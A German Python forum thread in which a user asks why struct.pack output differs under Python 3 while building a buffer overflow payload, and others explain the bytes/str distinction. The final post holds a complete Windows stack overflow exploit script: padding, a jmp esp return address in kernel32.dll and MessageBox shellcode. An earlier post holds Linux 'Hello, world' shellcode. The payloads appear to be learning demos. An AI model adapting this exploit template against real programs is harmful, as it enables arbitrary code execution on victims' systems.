struct.pack verhält sich unter Windows anders als Linux

Python in C/C++ embedden, C-Module, ctypes, Cython, SWIG, SIP etc sind hier richtig.
Antworten
omnidan
User
Beiträge: 12
Registriert: Donnerstag 6. Januar 2011, 15:32

Liebes Forum,

ich versuche mit folgendem Skript einem C-Programm eine neue Rücksprungadresse aufzuzwingen:

Code: Alles auswählen

import struct
eip = 0x004013ee
print("A"*14 + struct.pack("<L",eip)
Unter OS X und Linux funktioniert das auch einwandfrei, es wird folgende Ausgabe erzeugt:

Code: Alles auswählen

0000000: 4141 4141 4141 4141 4141 4141 4141 ee13  AAAAAAAAAAAAAA..
0000010: 4000 0a                                  @..
("0x004014ee" wird also wie gewünscht als "\xee\x13\x40\x00" ausgegeben).

Unter Windoof bekomm ich zunächst einmal die Fehlermeldung:
TypeError: Can't convert 'bytes' object to str implicitly
(welche sich aber dadurch beheben lässt, ein Komma statt einem "+" in der print-Funktion zu verwenden.

Viel schlimmer ist jedoch, dass mir Python unter Windows statt dem Obigen folgendes ausgibt:

Code: Alles auswählen

AAAAAAAAAAAAAA b'\xee\x13@\x00'
Der Teil auf den es mir ankommt, wird also in einfache Anführungszeichen gesteckt und mit einem vorangestellten "b" verunstaltet!

Wie kann ich diese "Einrahmung" unterdrücken bzw. meinen Code so gestalten, dass er mir auf allen Plattformen richtig ausgegeben wird?

1000 Dank für eure Hilfe!
Leonidas
Python-Forum Veteran
Beiträge: 16025
Registriert: Freitag 20. Juni 2003, 16:30
Kontaktdaten:

Kann es sein dass du unter Linux/Mac Python 2.x hast, aber unter Windows Python 3.x?
My god, it's full of CARs! | Leonidasvoice vs (former) Modvoice
omnidan
User
Beiträge: 12
Registriert: Donnerstag 6. Januar 2011, 15:32

Du hast recht! *freu* Hab unter OS X zwar Python 3 installiert, beim Aufruf über das Terminal wird aber tatsächlich 2.6.1 verwendet!

Wie würde der korrekte Code denn für Python 3 realisiert?
lunar

@omnidan: Nun, Python 3 unterscheidet eben strikt zwischen Bytefolgen und echten Zeichenketten, und konvertiert nicht länger implizit zwischen diesen Typen. Deswegen kannst Du Bytefolgen und Zeichenketten nicht einfach konkatenieren, und deswegen erhältst Du auch diese "komische" Darstellung der Bytefolge. Um Bytefolgen als Zeichenketten zu verarbeiten, musst Du sie explizit in Zeichenketten konvertieren. Um Bytefolgen direkt zu verarbeiten, darfst Du nur Methoden und Funktionen nutzen, die Bytes akzeptieren. Wie das geht, steht in der Dokumentation.

Das aber solltest Du eigentlich wissen, wenn Du mit Python 3 arbeiten möchtest, schließlich ist das mit die größte Änderung in Python 3.
omnidan
User
Beiträge: 12
Registriert: Donnerstag 6. Januar 2011, 15:32

Ja, danke für den Tipp :)

Hab auch schon probiert die Ausgabe von struct.pack wieder als UTF-8 zu encoden ... aber das verkompliziert das Ganze gefühlsmäßig. Zumal er mir dann bei bestimmten Hexwerten auch Fehler ausgibt ...

Was wäre denn ein sinnvoller Ansatz um unter Python 3 "0x004013ee" als "\xee\x13\x40\x00" (Zeichenfolge) auszugeben?

Verschlimmerung des Problems:
Habe gerade festgestellt, dass ich selbst zu doof dafür bin eine Standardausgabe unter Python3 hinzubekommen:

Code: Alles auswählen

code = "\xeb\x1e\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x88\x46\x0d\xb0\x04\xb3\x01\x8d\x0e\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x23" 

print(code)
Der simple Shellcode soll "einfach nur" ausgegeben werden ... und zwar genau so, wie er dasteht ... doch alles was ich bekomme ist das hier:
Traceback (most recent call last):
File "ex4.py", line 3, in <module>
print(code)
File "C:\Python32\lib\encodings\cp850.py", line 19, in encode
return codecs.charmap_encode(input,self.errors,encoding_map)[0]
UnicodeEncodeError: 'charmap' codec can't encode character '\x88' in position 11: character maps to <undefined>
Scheinbar versucht Python 3 JEDE Ausgabe irgendwie zu en-/decodieren ... wie schalte ich das ab? Ich möchte doch nur, dass "code" genauso als Bytestring ausgegeben wird, wie er zwischen den Anführungszeichen steht, nicht mehr und nicht weniger :( :( :(

Ach, sollte ich für so etwas ein neues Thema aufmachen? Hat ja eigenltich nichts mehr mit meiner ursprünglichen Frage zu tun....
Benutzeravatar
mkesper
User
Beiträge: 919
Registriert: Montag 20. November 2006, 15:48
Wohnort: formerly known as mkallas
Kontaktdaten:

was sagt

Code: Alles auswählen

repr(code)
?
omnidan
User
Beiträge: 12
Registriert: Donnerstag 6. Januar 2011, 15:32

Hab das Ganze wie folgt gelöst:

Code: Alles auswählen

# Benötigte Bibliotheken laden
import sys
import struct

eip = 0x7c874413 # Adresse von jmp esp in kernel32.dll

ausgabe = b"A" * 14 # 14 Platzhalter
ausgabe += struct.pack("i", eip) # EIP in little-endian Hex umwandeln 

# Schadcode
ausgabe +=  b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x2a\x59\xbb\x7b\x1d\x80\x7c\x51\xff\xd3\xeb\x2f\x59\x51\x50\xbb\x40\xae\x80\x7c\xff\xd3\xeb\x34\x59\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xd1\xff\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\xe8\xcc\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x00\xe8\xc7\xff\xff\xff\x48\x61\x6c\x6c\x6f\x5f\x48\x61\x63\x6b\x65\x72\x21\x00"

sys.stdout.buffer.write(ausgabe)
Antworten